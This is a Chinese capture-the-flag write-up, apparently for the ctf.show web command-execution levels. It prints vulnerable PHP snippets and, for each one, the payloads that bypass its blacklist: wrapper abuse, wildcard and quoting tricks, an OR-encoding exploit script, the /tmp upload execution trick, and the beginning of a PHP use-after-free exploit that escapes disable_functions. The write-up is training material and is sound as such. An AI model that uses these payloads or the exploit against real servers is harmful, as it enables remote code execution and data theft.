赞
踩
目录
- <?php
-
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
查看源码发现只过滤了flag字符串,我们只需构造如下payload即可(通配符绕过)
?c=system('cat f*'); //? 也行
也可以使用重造变量的方法来读取flag
?c=system($_GET['a']);&a=cat flag.php;
使用双引号过滤
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
- <?php
-
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
过滤了flag,system,php限制了大小写,使用引号绕过
?c=echo `cat fl''ag.p''hp`';
- # 用tac绕过对cat的过滤
- # 用%09绕过对空格的过滤
- ?c=echo`tac%09fl*`;
-
- # 用passthru绕过system的过滤
- # tac饶过cat的过滤
- ?c=passthru("tac%09f*");
-
- show_source(next(array_reverse(scandir(pos(localeconv())))));
- <?php
-
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
又过滤了.和空格、cat,用重造变量的方法
?c=eval($_GET[1]);&1=echo `tac flag.php`
- <?php
-
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
这题又过滤了echo,反引号,分号以及单括号,单括号,学习了别人的wp。
分号可以用?>绕过,因为PHP最后一条语句不需要分号。单括号的绕过,要用到不需要括号的函数,比如include,之后配合php伪协议读取flag.php源码,进行base64解码
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
虽然又过滤了一个双引号,但无伤大雅,继续用上一题的伪协议思路即可
虽然又又过滤了冒号,但只对参数c进行了过滤,我们依旧可以用上一题的payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
虽然叒过滤了<,但对参数c依旧无伤大雅,同上题
这题新增了0-9数字的限制,但我们只需将get传参的内容改为字母即可
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
- <?php
-
- //flag in flag.php
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- include($c);
- echo $flag;
-
- }
-
- }else{
- highlight_file(__FILE__);
- }
过滤了flag,我们利用data协议
- ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
- //编码是<?php system('cat flag.php');?>
- //或者
- ?c=data://text/plain,<?php system('cat fla*');?>
新增过滤了php,file我们利用data协议即可
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
而且还有个新姿势:
我们知道php文档中,每当读取该文档时,它会查找<?php 和?>标签,然后只处理上述两个标签中的代码,并在其周围留下其他代码。
例如:
- <?php
- echo "Hello PHP !";
- ?>
- //输出Hello PHP !
但还有一种简洁形式,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用<?=标签来输出,例:
<?= "Hello PHP !"?>
说明:“<?=”是PHP的一个短的开放式标签,是echo()的快捷用法。可以用短标签代替php执行,因此会构造如下payload
?c=data://text/plain,<?=system('tac fl*');?>
- <?php
- //flag in flag.php
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- include($c.".php");
- }
-
- }else{
- highlight_file(__FILE__);
- }
该题自动为我们增加了后缀php,但依旧可以data协议
data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
直接payload:
?c=data://text/plain,<?= system("cat fla*");?>
- <?php
-
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
该题把中文字符都过滤了,我们只能用英文字符,参考大佬的wp,这里要用无参数的rce
先简单学习一下,参考:PHP Parametric Function RCE · sky's blog
- 1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
- 2. pos():返回数组中当前元素的值
- 3. scandir():获取目录下的文件
- 4. array_reverse():将数组逆序排列
- 5. next():函数将内部指针指向下一元素,并输出
- 6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
- 7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
- 8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
- 1. print_r() 函数用于打印变量,以更容易理解的形式展示
- 2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。
这里的localeconv函数返回的数组的第一个“点号”,在linux中代表当前目录,因此我们可以用参数调用到点号,进而查看当前目录的文件
print_r(localeconv());
如下图第一个元素为点号
利用上述结论可以构造如下payload:
print_r(scandir(pos(localeconv()))); //查看点号(也就是当前目录下的文件)
如上图看到有flag.php文件,处于倒数第二个位置
在补充如下知识点
- array_reverse() 函数以相反的元素顺序返回数组
-
- next() 函数将内部指针指向数组中的下一个元素,并输出。
-
- highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来
-
- //构造如下payload:
- highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
- //上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显
-
- 或者
- #pos()与current()作用相同 readfile()与作用相同highlight_file()
- ?c=readfile(next(array_reverse(scandir(current(localeconv())))));
-
- #show_source()与作用相同highlight_file()
- ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
还有第二个方法:详情可看上文中链接文章
首先get_defined_vars()
函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容
如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数
利用pos返回当前元素的值
在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据
再用end函数
接着在sky写入读取flag的命令
最终payload为:
?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');
- <?php
-
- if(isset($_POST['c'])){
- $c = $_POST['c'];
- if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
- eval("echo($c);");
- }
- }else{
- highlight_file(__FILE__);
- }
- ?>
这次过滤所有字母和数字以及一堆符号 但是留下了一个或运算符 |
参考大佬的wp这题需要用脚本,利用或运算符进行绕过
这里可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
- # 生成可用字符的集合
- # rce_or.php
- <?php
- $myfile = fopen("rce_or.txt", "w");
- $contents="";
- for ($i=0; $i < 256; $i++) {
- for ($j=0; $j <256 ; $j++) {
-
- if($i<16){
- $hex_i='0'.dechex($i);
- }
- else{
- $hex_i=dechex($i);
- }
- if($j<16){
- $hex_j='0'.dechex($j);
- }
- else{
- $hex_j=dechex($j);
- }
- $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
- if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
- echo "";
- }
-
- else{
- $a='%'.$hex_i;
- $b='%'.$hex_j;
- $c=(urldecode($a)|urldecode($b));
- if (ord($c)>=32&ord($c)<=126) {
- $contents=$contents.$c." ".$a." ".$b."\n";
- }
- }
-
- }
- }
- fwrite($myfile,$contents);
- fclose($myfile);
- # 用法python exp.py <url>
- # -*- coding: utf-8 -*-
- import requests
- import urllib
- from sys import *
- import os
- os.system("php rce_or.php") #没有将php写入环境变量需手动运行
- if(len(argv)!=2):
- print("="*50)
- print('USER:python exp.py <url>')
- print("eg: python exp.py http://ctf.show/")
- print("="*50)
- exit(0)
- url=argv[1]
- def action(arg):
- s1=""
- s2=""
- for i in arg:
- f=open("rce_or.txt","r")
- while True:
- t=f.readline()
- if t=="":
- break
- if t[0]==i:
- #print(i)
- s1+=t[2:5]
- s2+=t[6:9]
- break
- f.close()
- output="(\""+s1+"\"|\""+s2+"\")"
- return(output)
-
- while True:
- param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
- data={
- 'c':urllib.parse.unquote(param)
- }
- r=requests.post(url,data=data)
- print("\n[*] result:\n"+r.text)
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- system($c." >/dev/null 2>&1");
- }else{
- highlight_file(__FILE__);
- }
这里先了解一下代码中的>/dev/null 2>&1
>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件
/dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。
/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞
- 1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
- 2:/dev/null 代表空设备文件
- 3:2> 表示stderr标准错误
- 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
- 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
- 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
payload:
- ?c=tac flag.php;ls
- ;前面的被执行了返回结果,后面的执行了被放入/dev/null中
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里过滤了cat与分号,构造如下payload
- c=nl flag.php||
- c=tac flag.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/;|cat|flag/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里又过滤了flag,我们可以使用通配符绕过或者拼接字符串的方式,payload如下
- ?c=tac fl''ag.php||
- ?c=tac fl*.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| /i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里又过滤了空格,构造如下payload
- ?c=tac${IFS}fl*||
- 也可以用%09或者<绕过 //%09是Tab的url编码
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里又过滤了数字,通配符以及$,payload如下
使用?绕过对*的过滤
"?"和"*"的区别:
?只能通配某个字符,如flag.php -> fla?.php fl??.ph?
*可以通配整个字符串,如flag.php -> f*
- ?c=nl%09fl?g.php|| //这里%09还能用是因为,传入时会进行url解码,将其解析为Tab键
- ?c=tac%09fla?.php||
- ?c=nl<fla''g.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
过滤多了more less head sort tail,不过无伤大雅依旧用之前的payload
?c=nl%09fl?g.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
过滤了sed cut awk strings od curl以及反引号,还是用上题的payload
?c=nl%09fl?g.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里过滤了% ,不过依旧无碍
- c=tac%09fla?.php||
- c=nl<fla''g.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
%09,以及&(x26)被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠\
或者引号来绕过,注:nl不支持通配符使用引号分割
payload:tac<>fl''ag.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里过滤了tac,可以用nl也可以字符串拼接
- ?c=ca\t<>fl''ag.php||
- ?c=nl<fl''ag.php||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这里又过滤了<,>但仔细观察发现$又不在黑名单了,这就好办了
- ?c=nl${IFS}/fl''ag||
- //但这里注意flag在根目录下,并不在flag.php
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
- echo($c);
- $d = system($c);
- echo "<br>".$d;
- }else{
- echo 'no';
- }
- }else{
- highlight_file(__FILE__);
- }
这里换成直接明了的echo,system了,那我们直接执行就行
?c=nl${IFS}/fl''ag||
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
- system($c);
- }
- }else{
- highlight_file(__FILE__);
- }
蒙了,过滤的这么彻底,彻底过滤了通配符* , 用 多个?代替
nl也被过滤了,可以使用uniq代替nl,借鉴大佬的
uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload
?c=uniq${IFS}f???????
其他payload
- #可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
- ?c=mv${IFS}fla?.php${IFS}a.txt
- # 使用执行文件目录+?来绕过被过滤的命令
- ?c=/bin/?at${IFS}f???????
- <?php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
- system($c);
- }
- }else{
- highlight_file(__FILE__);
- }
过滤了 字母、分号、反引号、"%09"、"%26"和 <>,看看大佬
payload1:
同样是利用bin目录
- bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
- 这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
使用base64对flag.php进行加密同时使用?绕过字母的限制
?c=/???/????64%20????.??? # /bin/base64 flag.php
payload2:
利用/usr/bin目录
- 主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
- 我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
payload3:参考无字母数字webshell
- <?php
- // 你们在炫技吗?
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
- system($c);
- }
- }else{
- highlight_file(__FILE__);
- }
这里又将数字过滤了,参考无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
总结一下:shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>POST数据包POC</title>
- </head>
- <body>
- <form action="http://11a8783c-659e-4028-ab16-40fb589ef16d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
- <!--目标网址-->
- <label for="file">文件名:</label>
- <input type="file" name="file" id="file"><br>
- <input type="submit" name="submit" value="提交">
- </form>
- </body>
- </html>
构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
?c=.%20/???/????????[@-[]
这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).
- <?php
- // 还能炫的动吗?
- //flag in 36.php
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
- system("cat ".$c.".php");
- }
- }else{
- highlight_file(__FILE__);
- }
这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法
这里利用 $(( ))与整数运算。想办法构造出36
- 双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
- 通俗地讲,就是将数学运算表达式放在((和))之间。
-
- 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
-
- 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
-
- 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
-
- 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
- $(())是0
-
- $((~$(())))是-1
-
- $(($((~$(())))$((~$(())))))是-2
-
- 这里要构造36,也就是要先构造出-37 然后取反
-
- -37是37个$((~$(())))相加
-
- 最终payload
- ?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
这道题因为disable_functions禁用了system exec popen passthru
使用读文件函数拿flag
- file_get_contents()
- highlight_file()
- show_source()
- fgets()
- file()
- readfile()
没有过滤直接用
- #payload1
- c=highlight_file("flag.php");
- #payload2
- c=show_source('flag.php');
- #payload3
- c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}
-
- c=show_source(next(array_reverse(scandir(current(localeconv())))));
- c=echo file_get_contents('flag.php');
- c=print_r(file('flag.php'));
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
过滤了更多函数
- 这些还可以用
-
- highlight_file()
- show_source()
- fgets()
- file()
- 可以用web58的payload
- //在源代码
- c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
- c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
- c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
- c=$a=fopen("flag.php","r");echo fread($a,"1000");
- c=$a=fopen("flag.php","r");echo fpassthru($a);
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
禁用了更多函数
- c=show_source("flag.php");
-
- //奇淫巧技0.0
-
- #通过复制,重命名读取php文件内容
- c=copy("flag.php","flag.txt");
- c=rename("flag.php","flag.txt");
- #访问flag.txt
-
- //之前payload还能用,自己试试
- c=show_source(next(array_reverse(scandir(current(localeconv())))));
- c=show_source('flag.php');
- c=highlight_file('flag.php');
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
下列payload通杀
- c=show_source(next(array_reverse(scandir(current(localeconv())))));
- c=show_source('flag.php');
- c=highlight_file('flag.php');
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
这题用上一题的payload也可以,但还有一个新姿势
- var_dump() 函数用于输出变量的相关信息。
- get_defined_vars() 函数返回由所有已定义变量所组成的数组。
因此我们用var_dump(get_defined_vars());查看一下所有的注册变量
那么我们可以注册一个包含flag.php的变量
payload如下:
- c=include('flag.php');var_dump(get_defined_vars());
-
- c=show_source(next(array_reverse(scandir(current(localeconv())))));
- c=highlight_file('flag.php');
- c=show_source('flag.php');
-
web64payload都可以
- <?php
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
这回show_source()函数被禁用了,而且flag放的位置也改变了
- c=print_r(scandir("/")); #查看根目录文件 print_r被过滤可以换var_dump
-
- # 注意根目录是flag.txt
-
- c=highlight_file("/flag.txt");
提示说highlight_file()函数也被禁用了,我们先继续查看根目录
尝试直接include包含
c=include('/flag.txt');
这个题将var_dump也禁用了,看了下wp说是用多种遍历数组来进行
- # 多种遍历数组姿势
- # 1
- c=$a=scandir("/");foreach($a as $value){echo $value."---";}
- # 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
- c=$a=glob("/*");foreach($a as $value){echo $value." ";}
- # 3
- c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
- //这里的关键函数DirectoryIterator是PHP的原生类
- <?php
- error_reporting(0);
- ini_set('display_errors', 0);
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- $s = ob_get_contents();
- ob_end_clean();
- echo preg_replace("/[0-9]|[a-z]/i","?",$s);
- }else{
- highlight_file(__FILE__);
- }
- ?>
- 你要上天吗?
新知识
- ob_get_contents() 返回输出缓冲区的内容
-
- ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲
代码执行的大概流程是 传参--命令执行--执行结果存在$s中--清空输出缓冲区--对$s进行过滤
由于清空输出缓冲区 传入的命令也就无法执行 这里要做的就是把代码终止在清空输出缓冲区之前使用exit()强制退出
c=include('/flag.txt');exit();
- <?php
- error_reporting(0);
- ini_set('display_errors', 0);
- // 你们在炫技吗?
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- $s = ob_get_contents();
- ob_end_clean();
- echo preg_replace("/[0-9]|[a-z]/i","?",$s);
- }else{
- highlight_file(__FILE__);
- }
- ?>
- 你要上天吗?
看了佬的wp,先输入c=var_dump(scandir('/'));发现被open_basedir()限制了且ini_set()被禁用
我们可以尝试通过glob伪协议绕过绕过open_basedir限制
payload
- c=?><?php $a=new DirectoryIterator("glob:///*");
- foreach($a as $f)
- {echo($f->__toString().' ');
- }
- exit(0);
- ?>
利用群主提供的uaf脚本绕过open_basedir进行命令执行来包含flag0.txt
原始脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
- // 只需提交函数内容 记得url编码
- <?php
- function ctfshow($cmd)
- {
- global $abc, $helper, $backtrace;
-
- class Vuln
- {
- public $a;
-
- public function __destruct()
- {
- global $backtrace;
- unset($this->a);
- $backtrace = (new Exception)->getTrace();
- if (!isset($backtrace[1]['args'])) {
- $backtrace = debug_backtrace();
- }
- }
- }
-
- class Helper
- {
- public $a, $b, $c, $d;
- }
-
- function str2ptr(&$str, $p = 0, $s = 8)
- {
- $address = 0;
- for ($j = $s - 1; $j >= 0; $j--) {
- $address <<= 8;
- $address |= ord($str[$p + $j]);
- }
- return $address;
- }
-
- function ptr2str($ptr, $m = 8)
- {
- $out = "";
- for ($i = 0; $i < $m; $i++) {
- $out .= sprintf("%c", ($ptr & 0xff));
- $ptr >>= 8;
- }
- return $out;
- }
-
- function write(&$str, $p, $v, $n = 8)
- {
- $i = 0;
- for ($i = 0; $i < $n; $i++) {
- $str[$p + $i] = sprintf("%c", ($v & 0xff));
- $v >>= 8;
- }
- }
-
- function leak($addr, $p = 0, $s = 8)
- {
- global $abc, $helper;
- write($abc, 0x68, $addr + $p - 0x10);
- $leak = strlen($helper->a);
- if ($s != 8) {
- $leak %= 2 << ($s * 8) - 1;
- }
- return $leak;
- }
-
- function parse_elf($base)
- {
- $e_type = leak($base, 0x10, 2);
-
- $e_phoff = leak($base, 0x20);
- $e_phentsize = leak($base, 0x36, 2);
- $e_phnum = leak($base, 0x38, 2);
-
- for ($i = 0; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = leak($header, 0, 4);
- $p_flags = leak($header, 4, 4);
- $p_vaddr = leak($header, 0x10);
- $p_memsz = leak($header, 0x28);
-
- if ($p_type == 1 && $p_flags == 6) {
-
- $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } else if ($p_type == 1 && $p_flags == 5) {
- $text_size = $p_memsz;
- }
- }
-
- if (!$data_addr || !$text_size || !$data_size)
- return false;
-
- return [$data_addr, $text_size, $data_size];
- }
-
- function get_basic_funcs($base, $elf)
- {
- list($data_addr, $text_size, $data_size) = $elf;
- for ($i = 0; $i < $data_size / 8; $i++) {
- $leak = leak($data_addr, $i * 8);
- if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
-
- if ($deref != 0x746e6174736e6f63)
- continue;
- } else continue;
-
- $leak = leak($data_addr, ($i + 4) * 8);
- if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
-
- if ($deref != 0x786568326e6962)
- continue;
- } else continue;
-
- return $data_addr + $i * 8;
- }
- }
-
- function get_binary_base($binary_leak)
- {
- $base = 0;
- $start = $binary_leak & 0xfffffffffffff000;
- for ($i = 0; $i < 0x1000; $i++) {
- $addr = $start - 0x1000 * $i;
- $leak = leak($addr, 0, 7);
- if ($leak == 0x10102464c457f) {
- return $addr;
- }
- }
- }
-
- function get_system($basic_funcs)
- {
- $addr = $basic_funcs;
- do {
- $f_entry = leak($addr);
- $f_name = leak($f_entry, 0, 6);
-
- if ($f_name == 0x6d6574737973) {
- return leak($addr + 8);
- }
- $addr += 0x20;
- } while ($f_entry != 0);
- return false;
- }
-
- function trigger_uaf($arg)
- {
-
- $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
- $vuln = new Vuln();
- $vuln->a = $arg;
- }
-
- if (stristr(PHP_OS, 'WIN')) {
- die('This PoC is for *nix systems only.');
- }
-
- $n_alloc = 10;
- $contiguous = [];
- for ($i = 0; $i < $n_alloc; $i++)
- $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
-
- trigger_uaf('x');
- $abc = $backtrace[1]['args'][0];
-
- $helper = new Helper;
- $helper->b = function ($x) {
- };
-
- if (strlen($abc) == 79 || strlen($abc) == 0) {
- die("UAF failed");
- }
-
- $closure_handlers = str2ptr($abc, 0);
- $php_heap = str2ptr($abc, 0x58);
- $abc_addr = $php_heap - 0xc8;
-
- write($abc, 0x60, 2);
- write($abc, 0x70, 6);
-
- write($abc, 0x10, $abc_addr + 0x60);
- write($abc, 0x18, 0xa);
-
- $closure_obj = str2ptr($abc, 0x20);
-
- $binary_leak = leak($closure_handlers, 8);
- if (!($base = get_binary_base($binary_leak))) {
- die("Couldn't determine binary base address");
- }
-
- if (!($elf = parse_elf($base))) {
- die("Couldn't parse ELF header");
- }
-
- if (!($basic_funcs = get_basic_funcs($base, $elf))) {
- die("Couldn't get basic_functions address");
- }
-
- if (!($zif_system = get_system($basic_funcs))) {
- die("Couldn't get zif_system address");
- }
-
-
- $fake_obj_offset = 0xd0;
- for ($i = 0; $i < 0x110; $i += 8) {
